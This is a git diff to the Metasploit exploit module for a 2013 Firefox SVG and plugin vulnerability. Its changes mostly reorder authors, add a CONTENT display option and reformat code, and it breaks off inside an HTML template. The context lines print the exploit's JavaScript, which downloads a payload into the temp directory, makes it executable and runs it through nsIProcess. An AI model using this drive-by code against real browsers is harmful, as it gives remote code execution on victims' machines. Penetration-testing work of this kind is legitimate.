diff --git a/modules/exploits/multi/browser/firefox_svg_plugin.rb b/modules/exploits/multi/browser/firefox_svg_plugin.rb index b1d940797d..cfc2357af0 100644 --- a/modules/exploits/multi/browser/firefox_svg_plugin.rb +++ b/modules/exploits/multi/browser/firefox_svg_plugin.rb @@ -71,8 +71,9 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultTarget' => 0, 'Author' => [ - 'joev', # metasploit module - 'Marius Mlynski' # discovery & bug report + 'Marius Mlynski', # discovery & bug report + 'joev' # metasploit module + ], 'References' => [ @@ -83,6 +84,12 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DisclosureDate' => 'Jan 08 2013' )) + + register_options( + [ + OptString.new('CONTENT', [ false, "Content to display inside the HTML
.", '' ] ) + ], Auxiliary::Timed) + end def on_request_uri(cli, request) @@ -105,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote else # send initial HTML page print_status("Sending #{self.name}") - send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) + send_response_html(cli, generate_html) end handler(cli) end @@ -153,12 +160,11 @@ class Metasploit3 < Msf::Exploit::Remote x.send(null); alert(x.responseText); var file = Components.classes["@mozilla.org/file/directory_service;1"] - .getService(Components.interfaces.nsIProperties) - .get("TmpD", Components.interfaces.nsIFile); + .getService(Components.interfaces.nsIProperties) + .get("TmpD", Components.interfaces.nsIFile); file.append('#{payload_filename}'); - - var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]. - createInstance(Components.interfaces.nsIFileOutputStream); + var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"] + .createInstance(Components.interfaces.nsIFileOutputStream); stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0); stream.write(x.responseText, x.responseText.length); if (stream instanceof Components.interfaces.nsISafeOutputStream) { @@ -169,7 +175,7 @@ class Metasploit3 < Msf::Exploit::Remote #{chmod_code} alert(file.path); var process = Components.classes["@mozilla.org/process/util;1"] - .createInstance(Components.interfaces.nsIProcess); + .createInstance(Components.interfaces.nsIProcess); process.init(file); process.run(false,[],0); | @@ -204,18 +210,18 @@ class Metasploit3 < Msf::Exploit::Remote :access_string => 'access', :frame_ref => 'frames[0]', :frame_name => 'n', - :loader_path => "#{base_url}.swf" + :loader_path => "#{base_url}.swf", + :content => self.datastore['CONTENT'] || '' } %Q| -